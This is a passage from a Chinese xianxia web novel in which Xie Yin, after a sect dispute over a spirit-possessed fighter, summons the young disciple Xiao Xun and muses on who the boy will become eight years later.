终于没人再出言驳斥,连玄镜司的歪脖子老登都哑口无言,只能任凭晏清司的弟子用捆仙锁把人绑了带走,留下一句“我看你们能嘴硬到几时”,狼狈离开了。
“不过……”眼看擂台比试暂时叫停,兰棹辞意外地补充一句,“被浊灵附体之人通常会受其影响,成为浊灵怨气的武器,实力一定会比往日提升数个层级,你捡回来那个叫萧循的弟子居然能在这种情况下不露败象,很奇怪。”
谢因经这提醒,在人群中扫了一眼,才看到蹲在角落脸上灰扑扑的萧循,身边是几个正在忙里忙外的晏清司弟子,纵是女孩都比他高了半个头,孩子脸上身上都挂了伤,唯有一双格外清明的眼睛,正透过层层的人群,十分挚诚地落下谢因身上。
谢因招招手:“你过来。”
十六七岁的模样,少年的眉眼,一改擂台上凶相毕露,面对谢因和兰棹辞两座大佛,一时不知道眼镜和手要往哪儿放,只好把那口拿不出手的破刀往衣摆下藏了藏,露出一个称得上淳朴的笑:“仙……仙尊。”
谢因想不通啊,这小孩儿和八年后那个跟他玩儿强制爱的青年真的是一个人?